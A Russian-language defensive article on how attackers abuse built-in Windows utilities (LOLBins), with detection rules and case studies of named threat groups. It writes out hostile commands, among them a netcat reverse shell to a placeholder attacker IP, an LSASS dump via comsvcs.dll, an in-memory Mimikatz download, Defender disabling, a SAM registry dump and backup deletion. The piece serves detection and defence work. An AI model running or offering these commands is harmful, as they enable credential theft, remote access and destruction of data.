Утилиты Windows, которые любят злоумышленники (LOLBins)
Современные атаки все чаще опираются на использование легитимных системных инструментов Windows. Такие утилиты изначально предназначены для администрирования и обслуживания ОС, однако с их помощью злоумышленники выполняют вредоносные действия. Ключевая особенность этих инструментов в том, что они не выглядят подозрительно и работа с ними зачастую не отличается от обычной административной активности. В статье разберемся, как киберпреступники используют системные утилиты, какие трудности возникают при их детектировании и какие подходы позволяют выявлять такие угрозы.
Что такое LOLBins
Одна из ключевых целей кластеров — максимально долго находиться в инфраструктуре, не выдавая себя. Довольно эффективный и в то же время простой способ оставаться незаметными — использовать легитимные инструменты, уже присутствующие в системе. Такой подход называется living off the land (LotL). Дословно название переводится как «кормиться с земли».
Проведем аналогию с вором. Если он будет взламывать дверь отмычкой или ломом, это привлечет внимание людей вокруг. Но если вор воспользуется ключами, которые хранятся под ковриком, то окружающие не придадут этому значения. Так же действуют и атакующие в инфраструктуре, используя легитимные утилиты для вредоносных действий. В Windows такие утилиты называют LOLBins (living off the land binaries).
Чтобы снизить риски обнаружения, злоумышленники все чаще используют LotL‑подход вместо разработки собственных инструментов.
Реестры и базы LOLBins
Концепция living off the land применяется не только в Windows‑среде. Аналогичные техники существуют и для других ОС, включая Linux и macOS. Злоупотребление легитимными утилитами — распространенный способ атаки, поэтому специалисты по кибербезопасности создают специализированные базы данных, описывающие подобные инструменты и способы их эксплуатации.
Наиболее известный проект для ОС Windows — LOLBAS (living off the land binaries and scripts). Это открытый каталог системных утилит Windows, которыми могут пользоваться злоумышленники. В нем содержатся примеры вредоносного применения и рекомендации по обнаружению. Существуют и другие ресурсы, на которых размещены агрегированные данные по техникам living off the land, например портал lolol.farm.
Подобные проекты позволяют аналитикам SOC и специалистам по реагированию на инциденты лучше понимать, как атакующие могут использовать легитимные инструменты. Это позволяет более тщательно выстроить защитную стратегию.
Чем опасны LOLBins
LOLBins дают злоумышленникам ряд преимуществ, которых нет у вредоносного ПО:
- Возможность сэкономить время и другие ресурсы на разработке собственного вредоносного ПО.
- Повышение доверия со стороны средств защиты.
- Сложность блокировки, так как она влечет за собой сбои в работе самой ОС Windows. Blue team часто вынуждена мириться с наличием доверенных исполняемых файлов в системе, только наблюдая за ними и контролируя их работу.
- Расположение в доверенных системных директориях. Как правило, LOLBins располагаются в системных каталогах Windows:
C:\Windows\System32— содержит 64‑битные бинарные файлы.C:\Windows\SysWOW64— содержит 32‑битные бинарные файлы.
System32содержит 64‑битные бинарные файлы, аSysWOW64(Windows 32‑bit on Windows 64‑bit) — 32‑битные. Также стоит учесть, что злоумышленники часто копируют легитимные утилиты в другие директории (например, в каталогTemp). - Снижение количества артефактов атаки. Это позволяет злоумышленникам скрыть вредоносную активность, поскольку не нужно загружать дополнительные компоненты.
- Отсутствие необходимости переносить инструментарий при горизонтальном перемещении. За счет этого снижается видимость действий атакующих, в том числе в сетевом трафике, позволяя уклоняться от обнаружения средствами типа NTA (network traffic analysis).
- Маскировка вредоносной активности под легитимные действия. Администраторы и системные службы часто используют LOLBins, так что их запуск может выглядеть как обычная административная активность, что усложняет выявление злоумышленника.
Сценарии злоупотребления LOLBins
LotL‑атаки не относятся к отдельной технике из матрицы MITRE ATT&CK. Злоумышленники могут использовать LotL‑атаки на любом этапе — от получения первоначального доступа до закрепления в системе или деструктивного воздействия на систему.
В рамках одного инцидента редко используется только один из LOLBins. Зачастую атакующие формируют цепочку команд, в которой фигурируют несколько системных утилит, последовательно выполняющие задачи.
Рассмотрим наиболее распространенные сценарии злоупотребления LOLBins на разных этапах атаки, а также возможности для детектирования.
Certutil
Certutil.exe — утилита командной строки в составе служб сертификатов Windows. С ее помощью администраторы работают с сертификатами и центром сертификации:
- просматривают сведения о конфигурации центра сертификации;
- настраивают службы центра сертификации;
- проверяют сертификаты, ключи и цепочки сертификатов.
Администратор может использовать certutil для проверки сертификата, списка отзывов (CRL) или цепочки сертификатов:
certutil -verify C:\certs\server.cer
Возможности утилиты
- Загрузка дополнительных компонентов. Один из распространенных сценариев использования утилиты certutil — загрузка файлов с удаленных ресурсов. Это позволяет обойти механизмы безопасности, предназначенные для блокировки прямой загрузки вредоносного ПО.
Использование certutil для загрузки файла с удаленного ресурса:
certutil -urlcache -split -f "http://example.com/file.b64" output.b64
- Декодирование полезной нагрузки. После загрузки файла злоумышленник может использовать certutil для декодирования содержимого:
certutil -decode output.b64 malware.exe
Маркеры аномального поведения
- Наличие ключей
-decode/-decodehex,-urlcache/-verifyctlв связке с сетевыми протоколами в командной строке (HTTP, HTTPS, FTP). Эти ключи используются для загрузки и декодирования файлов. - Создание исполняемых файлов или скриптов.
- Последующий запуск загруженных файлов.
Анализ загруженного файла поможет определить характер активности и отличить действия администратора от активности злоумышленника.
Идеи для обнаружения
Индикатором для обнаружения подозрительной активности могут служить параметры командной строки, которые ответственны за декодирование и передачу URL:
dev_os_type:Windows AND
(
cmdline:*certutil* OR
proc_file_description:"CertUtil.exe" OR
proc_file_originalfilename:"CertUtil.exe"
) AND
cmdline:(("decode" OR "decodehex" OR "urlcache" OR "verifyctl" OR "URL") AND (*http* OR *ftp*))
Также обращайте внимание на запуск cerutil.exe из нетипичных родительских процессов, например:
Winword.exe→cmd.exe→certutil.exe.Outlook.exe→cmd.exe→certutil.exe.
Подобные цепочки процессов указывают на потенциальную эксплуатацию LOLBins, например, через вложения фишинговых писем.
MSHTA
Mshta.exe — утилита Windows для выполнения файлов Microsoft HTML Application (HTA).
HTA‑файл — это приложение, основанное на HTML и скриптовых языках (VBScript, JavaScript). То есть mshta.exe служит для запуска скриптов в формате HTA. Эти возможности делают MSHTA привлекательным инструментом для злоумышленников, так как позволяют выполнять произвольный код скрипта через доверенную утилиту.
Администратор может использовать MSHTA для запуска внутреннего инструмента в формате .HTA, чтобы создавать учетные записи в домене:
mshta.exe C:\Tools\user_provision.hta
Такая командная строка может принадлежать и злоумышленнику, который пытается выполнить вредоносный код из HTA‑файла.
Возможности утилиты
- Выполнение кода
Злоумышленник может использовать утилиту MSHTA, чтобы загрузить VBS‑скрипт с внешнего ресурса:
mshta.exe vbscript:Close(Execute("GetObject(""script:https://www.example.org/file.sct"")")) - Загрузка дополнительных компонентов
Как и certutil, утилиту MSHTA можно использовать для загрузки файлов с удаленных ресурсов:
Полезная нагрузка
mshta.exe https://www.example.org/file.ext
file.extбудет помещена в папкуINetCache(папка для хранения временных файлов из интернета).
Маркеры аномального поведения
- Наличие в командной строке аргументов для выполнения встроенных скриптов: JScript/Vbscript — vbscript, javascript, WScript, CreateObject, ActiveXObject.
- Запуск HTA‑файлов с удаленных ресурсов.
- Запуск HTA‑файлов из следующих директорий:
%APPDATA%,%PROGRAMDATA%,%TEMP%,%PUBLIC%. - Необычные родительские процессы, например приложения MS Office. В рамках первоначального доступа злоумышленники регулярно используют документы с вредоносным кодом, который активируется при запуске файла.
- Необычные дочерние процессы, например интерпретаторы командной строки (PowerShell, cmd) или утилиты для загрузки (cscript, curl, certutil, bitsadmin).
Идеи для обнаружения
Обычные пользователи взаимодействуют с MSHTA только при работе со специфичным ПО. Особенно редко MSHTA используется для выполнения скриптов JScript и VBScript, а также запуска HTA‑файлов с удаленных ресурсов. Так что при поиске подозрительной активности стоит акцентировать внимание на таких действиях.
В исследовании Threat Zone 2026 мы представили варианты правил обнаружения, чтобы выявить:
- Попытки выполнения скриптов:
dev_os_type:windows AND ( cmdline:*mshta* OR proc_file_description:"Microsoft (R) HTML Application host" OR proc_file_originalfilename:"mshta.exe" ) AND ( cmdline:(*javascript* OR *vbscript* OR *WScript* *CreateObject* OR *ActiveXObject*) OR cmdline.keyword:(/.*\<script\>.*/ OR /.*about\:.*/) )
- Попытки обращения к сторонним ресурсам:
dev_os_type:"windows" AND ( ( proc_file_path:"\\mshta.exe" OR proc_file_description:"Microsoft (R) HTML Application host" OR proc_file_originalfilename:"mshta.exe" OR proc_file_pdb_path:"mshta.pdb" ) AND cmdline:("http" OR "https" OR "ftp") )
Schtasks
Schtasks.exe — утилита командной строки для управления запланированными задачами. Позволяет создавать, удалять, запрашивать, изменять, выполнять и завершать запланированные задачи на локальном или удаленном хосте.
Как и администратор, злоумышленник может использовать утилиту для создания запланированных задач, но не чтобы настроить хост, а чтобы закрепиться на нем. В большинстве задач администраторы редко используют schtasks, так как предпочитают графическую оснастку taskschd.msc. Чаще всего эта утилита используется при установке ПО. Например, Adobe Acrobat создает запланированную задачу для проверки обновлений:
schtasks /create /sc day /mo 1 /tn "Adobe Acrobat Update Task" /tr "C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARM.exe"
Рассматривая командную строку утилиты schtasks, сложно понять, чьи это действия: злоумышленника или администратора. Разберем на примере, чем может отличаться активность:
schtasks /create /sc minute /mo 1 /tn "ChromeUpdate" /tr C:\Program Files\Google\Chrome\CheckUpdate.cmd /ru "SYSTEM"
Здесь мы не будем полностью разбирать эту командную строку. Попробуйте сделать это самостоятельно, используя описание аргументов утилиты schtasks, а также предыдущий материал цикла — «Как читать командную строку: выявляем подозрительные команды».
На первый взгляд командная строка ничем не отличается от вышеупомянутого примера легитимной активности администратора. О правомерности говорит название задачи ChromeUpdate и расположение исполняемого файла. Каждый пользователь использует браузер, которому, как и любому другому ПО, нужны обновления.
Триггерами подозрительной составляющей выступают:
- время выполнения задачи — 1 минута;
- права SYSTEM при запуске задачи;
- подозрительное расширение исполняемого файла —
.cmd.
Теперь проанализируем исполняемый файл C:\Program Files\Google\Chrome\CheckUpdate.cmd:
C:\temp\nc.exe -e cmd.exe <attacker_IP> 993
Командная строка содержится в файле CheckUpdate.cmd, то есть представляет собой классическую обратную оболочку, с помощью которой злоумышленник может подключиться к атакуемому хосту в любое время.
Маркеры аномального поведения
- Частота запуска запланированной задачи. Ежеминутный запуск может служить поводом для расследования.
- Учетная запись, от лица которой будет выполнена запланированная задача. Использование УЗ с большим количеством привилегий также служит поводом для расследования.
- Наличие командной строки в задаче, например
cmd.exe /c C:\temp\nc.exe -e cmd.exe <attacker_IP> 993. Важно верно интерпретировать действие, которое будет совершено. - Запуск файлов из подозрительных каталогов:
\AppData\Local\,\AppData\Roaming\,\ProgramData\,\Temp\.
Идеи для обнаружения
Главный индикатор подозрительной активности — аргумент создания запланированной задачи create. При этом важно учитывать, что работа стороннего ПО может вызывать ложноположительные срабатывания. Сузим логику правила обнаружения, чтобы обнаружить запуск файлов из подозрительных директорий:
dev_os_type:windows AND
(
cmdline:*schtasks* OR
proc_file_originalfilename:"schtasks.exe" OR
proc_file_description:"Task Scheduler Configuration Tool"
) AND
cmdline: ("*\\AppData\\Local\\*" OR "*\\AppData\\roaming\\*" OR "*\\ProgramData\\*") AND
cmdline.keyword:/.+ \/create.+/
Rundll32
Rundll32.exe — компонент Windows, запускающий функции DLL‑библиотеки (библиотека динамических ссылок). С помощью Rundll32 злоумышленники чаще всего:
- Обходят решения по управлению приложениями, используя легитимные функции.
- Выполняют вредоносные действия, используя легитимные библиотеки DLL и их экспортированные функции.
- Запускают вредоносные функции из DLL: так исполняемый файл остается легитимным, а вредоносный код скрывается внутри библиотеки.
- Переименовывают или перемещают легитимные библиотеки DLL и используют их во вредоносных целях.
Возможности утилиты
Атакующие могут использовать легитимную библиотеку comsvcs.dll и ее экспортируемую функцию MiniDump, чтобы получить доступ к учетным данным.
Функция MiniDump в системной библиотеке C:\Windows\System32\comsvcs.dll позволяет вызвать Win32 API MiniDumpWriteDump, чтобы создать слепок (дамп) процесса LSASS. Этот процесс содержит хеши паролей пользователей, токены доступа, сертификаты и ключи шифрования, благодаря которым злоумышленник получает полный доступ к хосту. Затем с помощью извлеченных данных атакующий перемещается по инфраструктуре:
rundll32 C:\WINDOWS\system32\comsvcs.dll, MiniDump {LSASS PID} C:\Windows\Temp\[redacted].bin
Маркеры аномального поведения
Администратор и система редко используют функцию MiniDump из библиотеки comsvcs.dll. Злоумышленники, наоборот, обращаются к ней довольно часто. Так что аналитикам необходимо обращать внимание на окрестность инцидента:
- Для создания дампа памяти процесса LSASS необходим его уникальный идентификатор (Process IDentifier, PID). Следовательно, в окрестностях инцидента могут фиксироваться попытки получить PID процесса. Об этом может говорить подобная комбинация команд:
tasklist /fi Imagename eq lsass.exe | find lsass. - Для создания дампа памяти необходимы повышенные права. А значит, в окрестностях инцидента будут зафиксированы события повышения привилегий.
Идеи для обнаружения
Чтобы обнаружить злоупотребление легитимными DLL, необходимо анализировать функции, через которые можно получить доступ к данным. Именно эти функции чаще всего используют атакующие:
dev_os_type:windows AND
(
(
cmdline:*rundll32* OR
proc_file_description: "Windows host process (Rundll32)" OR
proc_file_originalfilename: "rundll32.exe"
) AND cmdline:*MiniDump*
)
В исследовании Threat Zone 2026 вы найдете более широкий список функций, которые могут использовать злоумышленники.
Вот что необходимо отслеживать, чтобы обнаружить подозрительную активность этого компонента:
- Создание или модификация запланированной задачи: командная строка содержит запуск
rundll.exe. Эту технику широко использует ВПО, чтобы выполнить вредоносный код или закрепиться в целевой системе. - Загрузка неподписанного образа, расположенного в каталогах
Temp,AppData,Local,Roaming. Такая активность может указывать на попытки выполнить вредоносный код в обход защитных механизмов, например контроль запуска приложений. - Попытка вызова функции по ее порядковому номеру (
rundll32 comsvcs.dll, #24). При легитимном использовании Rundll32, как правило, используется вызов функции по ее имени (rundll32.exe user32.dll,LockWorkStation). Вызов по порядковому номеру помогает обойти сигнатурный анализ, основанный на имени функции. В примере выше (обнаружение вызова функции MiniDump при помощи утилиты Rundll32) правило обнаружения базируется на имени функции (MiniDump) и не учитывает попытку создания дампа по ординалу.
PsExec
PsExec не штатный компонент системы Windows, а утилита из набора Sysinternals. Утилиты из этого набора часто присутствуют на хостах инфраструктуры и используются многими системными администраторами.
PsExec предназначена для удаленного администрирования. Утилита позволяет запускать процессы в удаленных системах и управлять ими через консоль без установки клиента на целевой машине.
Возможности утилиты
Злоумышленники могут использовать PsExec для горизонтального перемещения между хостами инфраструктуры. Пример команды для подключения при помощи PsExec:
psexec64 -i \\<IP> -u <user> -p <pass> cmd
Маркеры аномального поведения
Невозможно только по факту использования PsExec определить, кто использует утилиту: администратор или атакующий. Чтобы распознать нелегитимную активность, необходимо опираться на контекст срабатывания и понимать, что для инфраструктуры норма.
Легитимной активностью можно считать подключение при помощи PsExec с хоста администратора под технической учетной записью при условии, что это повторное подключение. К подозрительной активности отнесем подключение при помощи PsExec с хоста не технического специалиста, например бухгалтера.
Наиболее подозрительные варианты использования PsExec:
- Выполнение подозрительной нагрузки на удаленном хосте, например
psexec \\host.test powershell.exe -enc <Base64>. - Запуск процесса от имени системной учетной записи (SYSTEM) с флагом
-s, напримерpsexec -s \\host.test cmd. - Многочисленные попытки подключения к удаленным хостам под одной учетной записью с одного хоста. Это может свидетельствовать о том, что злоумышленник проводит разведку или ищет вектор перемещения.
Идеи для обнаружения
Запуск PsExec для выполнения процесса от имени системной учетной записи можно отслеживать таким образом:
dev_os_type: "windows" AND
event_type:"ProcessCreateWin" AND
proc_file_path: ("psexec.exe" OR "psexec64.exe") AND cmdline: "-s"
Этот вариант обнаружения основан на логах, поступающих с хоста‑источника. Если хост‑источник не отслеживается, используйте вариант обнаружения на хосте, к которому выполняется подключение:
dev_os_type: "windows" AND event_type:"ProcessCreateWin" AND proc_p_file_path: "psexesvc.exe" AND (proc_usr_sid: "S-1-5-18" OR proc_usr_name: "SYSTEM")
PowerShell
PowerShell — это командная оболочка, глубоко интегрированная с Windows. Она поддерживает запуск скриптов, взаимодействие с .net, .com, WMI, а также загрузку внешнего кода, сетевую активность и работу с памятью.
Злоумышленники используют PowerShell по следующим причинам:
- Почти полный доступ к возможностям Windows. Атакующий может создавать файлы, скачивать содержимое, управлять процессами, модифицировать реестр.
- Выполнение команд без записи файлов на диск. Это затрудняет обнаружение, так как обычных артефактов не остается.
- Выполнение закодированных команд с использованием
-EncodedCommand, что затрудняет анализ логов и повышает скрытность. - Выполнение HTTP‑запросов и загрузка скриптов напрямую из интернета. Это позволяет атакующему взаимодействовать с C2‑сервером и выполнять код в памяти без записи файлов на диск, что существенно усложняет обнаружение для средств защиты.
PowerShell одинаково часто используют как администраторы, так и злоумышленники. С помощью командной оболочки администратор собирает информацию об ОС, чтобы найти неисправности и диагностировать проблемы:
powershell.exe Get-Service -Name wuauservpowershell.exe Get-Process
Отличить действия атакующего и администратора, использующего PowerShell, все же возможно. Рассмотрим примеры активности, которая потенциально может быть вызвана действиями атакующего.
Уклонение от обнаружения (defense evasion)
Злоумышленники часто отключают или добавляют исключения в Windows Defender, чтобы успешно запустить вредоносное ПО. Обнаружить это можно по следующим признакам:
- Добавление директории
%LOCALAPPDATA%в исключения Windows Defender:pwsh.exe -NonI -W Hidden -Exec Bypass Add-MpPreference -ExclusionPath %LOCALAPPDATA%
- Отключение защиты Windows Defender в реальном времени:
pwsh.exe Set-MpPreference -DisableRealtimeMonitoring $true
Организация управления (command and control)
Распространенный сценарий — загрузка файлов с удаленных ресурсов с последующим выполнением этих файлов в оперативной памяти. Такой подход снижает вероятность обнаружения вредоносного ПО на диске и минимизирует количество артефактов для последующего анализа.
Загрузка скрипта Invoke‑Mimikatz.ps1 (утилита для получения доступа к учетным данным с хоста) с удаленного ресурса и выполнение его из оперативной памяти:
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1')
Сбор данных (discovery)
Атакующие собирают данные как до, так и во время атаки. Например, при успешной попытке горизонтального перемещения атакующему необходимо понять, что установлено на хосте и какие механизмы безопасности функционируют:
powershell.exe -EncodedCommand RwBlAHQALQBQAHIAbwBjAGUAcwBzAA==
Команда выше — это представление команды Get‑Process, закодированной в Base64. Такой метод декодирования минимизирует возможности обнаружения.
Маркеры аномального поведения
В отличие от администраторов, злоумышленники часто скрывают свою активность: загружают вредоносный код напрямую в память, взаимодействуют с механизмами защиты, используют нетипичные параметры запуска и т. д. Поэтому при анализе следует обращать внимание на аргументы, характерные для атакующих, например:
- Выполнение команд, закодированных в Base64 и переданных вместе с аргументом
EncodedCommand. У PowerShell есть сокращенные аргументы:encode,e,enc,ecи др. - Взаимодействие с внешними ресурсами при помощи командлетов Invoke‑WebRequest (IWR), New‑Object System.Net.WebClient, Invoke‑RestMethod (IRM), DownloadData и др.
- Использование параметра WindowsStyle Hidden для скрытого запуска процесса PowerShell.
Идеи для обнаружения
Один из распространенных приемов злоупотребления PowerShell — загрузка файлов и скриптов из внешних источников:
dev_os_type: "windows" AND
(
( cmdline: ("powershell" OR "SyncAppvPublishingServer" OR "pwsh") OR
proc_file_originalfilename: "PowerShell.EXE" OR
proc_file_productname: "PowerShell Core 6" OR
proc_file_description: "Windows PowerShell" OR
event_log_source: "Microsoft-Windows-PowerShell" OR
event_log_source: PowerShell
) AND
(
cmdline: ("WebClient" OR "DownloadData" OR "DownloadDataAsync"
OR "DownloadDataTaskAsync" OR "DownloadFile" OR "DownloadFileAsync"
OR "DownloadFileTaskAsync" OR "DownloadString" OR "DownloadStringAsync" OR
"DownloadStringTaskAsync" OR "OpenReadAsync" OR "OpenReadTaskAsync"
OR "FileWebRequest" OR "FtpWebRequest" OR "HttpWebRequest" OR "WebRequest" OR
"WebRequestMethods" OR "curl" OR "wget" OR "RestMethod" OR "WinHttpRequest" OR
"WinHttp" OR "iwr" OR "irm" OR "internetExplorer.Application" OR "Msxml2.XMLHTTP"
OR "MsXml2.ServerXmlHttp") OR
(
cmdline: ( "System.Xml.XmlDocument" OR "Excel.Application" OR "Word.Application") AND
cmdline: ( "http" OR "ftp" OR "sftp")
) OR
(
cmdline: "BitsTransfer" AND
-cmdline: "upload"
) OR
cmdline: ( "tseuqerbew" OR "tseuqerptth" OR "dohtemtser" OR "tneilCbeW" OR "daolnwod" OR "ptthlmx" OR "2lmxsm")
)
)
Все эти индикаторы — лишь небольшая часть вариаций, как PowerShell используют в атаках. Больше о техниках злоумышленников — в исследовании Threat Zone 2026.
Общие рекомендации
Эти рекомендации подходят для обнаружения каждой утилиты.
- Отслеживайте запуск утилит из нестандартных мест.
Кластеры активности могут доставлять на хост утилиты класса LOLBins, что служит индикатором для начала расследования. Чтобы обнаружить такую активность, отслеживайте запуск процессов из нестандартных директорий, например:
Код выше используют, чтобы обнаружить запуск Rundll32 из нестандартных директорий.
dev_os_type: "windows" AND event_type: "ProcessCreateWin" AND proc_file_name: *rundll32* AND -proc_file_path: ("C:\\Windows\\System32\\" OR "C:\\Windows\\SysWOW64\\" OR "C:\\Windows\\System\\") - Изучайте цепочки процессов. Анализируйте родительские и дочерние процессы.
- Анализируйте окрестности инцидента.
- Используйте метаданные файла, чтобы расширить поверхность обнаружения.
При разработке правил детектирования следует уделять особое внимание метаданным файлов. Например, событие Event ID 1 в Sysmon содержит такие поля, как оригинальное имя файла (OriginalFileName), описание файла процесса (Description) и описание продукта (Product). Они позволяют обнаружить переименованные утилиты. Атакующий может переименовать
psexec.exe, но OriginalFileName останется прежним и выдаст настоящее имя процесса.
Адаптируйте приведенные в статье подходы к обнаружению под конкретную инфраструктуру, учитывая ее особенности. Помимо фильтрации, важно проверять различные гипотезы детектирования вредоносной активности. Например, если в организации запрещено использование PsExec, целесообразно фиксировать всю активность этой утилиты, а не сужать правила в попытке снизить количество ложных срабатываний.
Пример логики правила обнаружения:
dev_os_type: "windows" AND
event_type:"ProcessCreateWin" AND
(
proc_file_path:("\\psexec.exe" OR "\\psexec64.exe") OR
proc_file_originalfilename:"psexec.c" OR proc_file_description:"Execute processes remotely"
)
Использование LOLBins в реальных атаках
Специалисты BI.ZONE Threat Intelligence выяснили, что злоумышленники активно используют стратегию living off the land, чтобы обойти средства защиты и скрыть вредоносную активность. При этом легитимные системные утилиты нередко комбинируются между собой, образуя цепочки команд, которые используются на разных этапах атаки.
Приведем примеры из исследования Threat Zone 2026, которые демонстрируют, как злоумышленники используют LOLBins в реальных кампаниях.
Lone Wolf
Кластер Lone Wolf активен минимум с 2023 года. Он атакует российские организации из различных отраслей, используя фишинговые рассылки с вредоносными документами Microsoft Word и таблицами Microsoft Excel, цель которых загрузить на скомпрометированное устройство Cobalt Strike Beacon.
Атакующие из Lone Wolf использовали связку из LOLBins‑утилит forfiles.exe и mshta.exe. Утилита forfiles.exe помогала обойти ограничения на использование интерпретаторов командной строки, а mshta.exe — загрузить и запустить вредоносный файл с удаленного сервера:
forfiles.exe /p C:\Windows\System32 /m c"al"c.exe /c "pow"e"rshell . mshta "h"t"t"p"s://y"i"p"."s"u"/c"e"r"t" g"o"v"r"u"f"[redacted]"c"k"."g"i"f"
Forfiles.exe — это консольная утилита Windows для поиска файлов по маске и выполнения команды для каждого найденного файла. В командной строке выше forfiles.exe используется для обхода ограничений на запуск командной строки. Логика выполнения команды следующая: если в директории C:\Windows\System32 обнаружится файл calc.exe, необходимо выполнить команду:
pow"e"rshell . mshta "h"t"t"p"s://y"i"p"."s"u"/c"e"r"t" g"o"v"r"u"f"[redacted]"c"k"."g"i"f.
В этом случае цепочка процессов будет такая:


Идеи для обнаружения
Анализ цепочки процессов позволяет разработать правила для отслеживания запуска интерпретаторов командной строки из‑под утилит Windows: forfiles.exe, conhost.exe, setup.exe, pcalua.exe:
dev_os_type: "windows" AND
event_type:"ProcessCreateWin" AND
(
proc_file_path: ("powershell.exe" OR "cmd.exe") OR
proc_file_originalfilename: ("PowerShell.EXE" OR "cmd.exe") OR
proc_file_pdb_path: ("powershell.pdb" OR "cmd.pdb")
) AND
proc_p_file_path: ("forfiles.exe" OR "conhost.exe" OR "setup.exe" OR "pcalua.exe")
Кластер Lone Wolf в качестве резервного средства закрепления в скомпрометированных системах использовал AnyDesk. Это ПО также относится к концепции LoTL, хотя и не является встроенным компонентом Windows. AnyDesk часто присутствует в системе и регулярно используется в задачах системного администрирования.
Rare Werewolf
Rare Werewolf — кластер, который атакует организации из различных отраслей на территории России и Украины минимум с 2019 года. Кластер получает первоначальный доступ с помощью фишинговых почтовых рассылок. Кроме того злоумышленники крадут документы, данные из Telegram, используют Mipko Employee Monitor для взаимодействия со скомпрометированной системой, а также WebBrowserPassView для получения паролей и DefenderControl для отключения антивирусного ПО.
Атакующие из Rare Werewolf применяли утилиту curl.exe для доставки инструментов в скомпрометированную систему:
curl.exe -o "%AppData%\Chrome\bfmkewwfv4.rar" hxxp[://]antey-almaz-info[.]site/files/bfmkewwfv4.rar
Curl.exe — это штатная консольная утилита для современных версий OC Windows, предназначенная для передачи данных между сервером и клиентом по множеству протоколов (HTTP, HTTPS, FTP и др.).
Идеи для обнаружения
Чтобы обнаружить загрузку, которая произошла с помощью утилиты curl, используйте следующую вариацию правила:
dev_os_type: "windows" AND
event_type:"ProcessCreateWin" AND
cmdline: (("curl" OR "curl.exe") AND (("-o" OR "-so" OR "-sfo") AND ("http" OR "https" OR "ftp")))
Эту утилиту часто используют системные администраторы, а также некоторое легитимное ПО. Из‑за этого необходимо фильтровать ложноположительные срабатывания, например сужая правило обнаружения до списка доменов и IP‑адресов атакующих.
Утилиту curl.exe для загрузки дополнительных инструментов также применял кластер Mysterious Werewolf:
curl -o "C:\Users\[redacted]\AppData\Local\r" -L -O -X GET "https://cloud-api.yandex.net/v1/disk/resources/download?path=bat.bat" -H "Accept: application/json" -H "Authorization: OAuth [redacted]" -H "Content-Type: application/json"
Мы уже подробно описывали кампанию Mysterious Werewolf. В этой статье отметим, что атакующие не использовали уникальный C2‑сервер для загрузки, а обратились к публичному облачному хранилищу. Такая активность также может стать основанием для написания правила обнаружения, например:
dev_os_type: "windows" AND
event_type:"ProcessCreateWin" AND
cmdline: (("curl" OR "curl.exe") AND (("-o" OR "-so" OR "-sfo") AND ("cloud-api.yandex.net")))
В этом примере http://cloud-api.yandex.net/ — конкретный индикатор из кампании Mysterious Werewolf, а не универсальный паттерн. При разработке собственных правил домен подставляется под актуальные IoC.
Rare Werewolf в своих кампаниях регулярно использует утилиты LOLBins, а также часто их комбинирует. Так, чтобы получить доступ к базе данных SAM (Security Account Manager), злоумышленники использовали утилиту reg.exe, предназначенную для работы с реестром Windows:
reg save hklm\sam %SYSTEMDRIVE%\Intel\sam.backupreg save hklm\system %SYSTEMDRIVE%\Intel\system.backup
Чтобы обеспечить удаленный доступ, злоумышленники при помощи утилиты netsh.exe (для управления сетевыми настройками) внесли изменения в правила брандмауэра Windows, разрешая входящий трафик на TCP‑порт 22:
netsh advfirewall firewall add rule name="OpenSSH Server (sshd)" dir=in action=allow protocol=TCP localport=22
Кроме того, атакующие использовали невидимое окно для выполнения PowerShell‑команд:
powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "%TEMP%\installer_task.ps1" -Unrar "%TEMP%\UnRAR.exe"
Guerrilla Hyena
Guerrilla Hyena — политически мотивированная группа хактивистов, известная также под названием «Кибер‑Партизаны», активная с 2020 года. Нацелена на государственные организации Республики Беларусь, также проводит атаки на компании России.
Атакующие из Guerrilla Hyena использовали утилиту wmic.exe для сбора информации о запущенных процессах средств защиты:
wmic.exe: cmd.exe /C WMIC path win32_process get Caption,Processid,Commandline
WMIC — это штатная утилита командной строки WMI, которая позволяет взаимодействовать с инструментами управления Windows. Эта утилита считается устаревшей и не рекомендуется к использованию. Она предварительно отключена в версиях 24H2 Windows 10/11 и выше. При обновлении Windows 11 до 25H2 компонент будет удален, если ранее был активен.
Больше об этом компоненте — на официальном сайте Microsoft.
VoidCrypt, Wbadmin, BCDedit
LOLBins используют не только кластеры активности, но и различное вредоносное ПО — от загрузчиков и стилеров до программ‑вымогателей, потому что такие утилиты минимизируют использование сторонних программ.
VoidCrypt — это программа‑вымогатель, впервые обнаруженная в июне 2019 года. С ее помощью злоумышленники шифруют файлы в целевых системах, чтобы затем требовать выкуп за восстановление. Для шифрования файлов используется алгоритм AES‑256 (GCM), ключи дополнительно шифруются с помощью алгоритма RSA‑2048.
VoidCrypt использует wbadmin.exe для удаления резервных копий:
wbadmin delete catalog -quiet
Wbadmin — это штатная утилита командной строки Windows, предназначенная для управления резервным копированием.
VoidCrypt также при помощи утилиты bcdedit.exe отключает возможность восстановить систему:
bcdedit /set {default} bootstatuspolicy ignoreallfailuresbcdedit /set {default} recoveryenabled no
BCDedit — это штатная утилита командной строки Windows, предназначенная для управления хранилищами BCD (данные конфигурации загрузки).
Идеи для обнаружения
Чтобы обнаружить, что злоумышленники пытались при помощи утилиты wbadmin.exe удалить резервные копии, подойдет следующая логика:
dev_os_type:windows AND
event_type:"processcreatewin" AND
(
cmdline:*wbadmin* OR
proc_file_originalfilename:"WBADMIN.EXE" OR
proc_file_description:"Command Line Interface for Microsoft® BLB Backup"
) AND
(
cmdline:*delete* AND
cmdline:(*systemstatebackup* OR *catalog* OR *backup*)
)
Методы защиты
Так как LOLBins — встроенные компоненты Windows, их удаление может привести к потере функциональности отдельных компонентов системы. Например, удаление утилиты rundll32 приведет к сбою в работе панели управления, планировщика задач, а также сделает невозможным запуск некоторых приложений и служб.
Один из ключевых элементов защиты от злонамеренного использования утилит LOLBins — обнаружение их нелегитимного использования. Подробнее о принципах настройки и анализа журналов аудита Windows читайте в предыдущей статье цикла — «Анализ журналов событий Windows: что должен знать новичок».
WDAC и AppLocker
Windows Defender Application Control (WDAC) — это функция безопасности, введенная в Windows 10 и доступная в Windows 11.
Чтобы сократить риск использования системных утилит, необходимо настроить политику Application Control. WDAC позволяет задавать политику целостности кода, ограничивая выполнение программ как в пользовательском режиме, так и в режиме ядра. Это предпочтительное решение для контроля запуска приложений на хостах Windows, которое Microsoft активно поддерживает и развивает.
В Windows нет встроенных графических инструментов для выполнения конфигураций WDAC, так что любые настройки выполняются при помощи интерпретатора командной строки PowerShell.
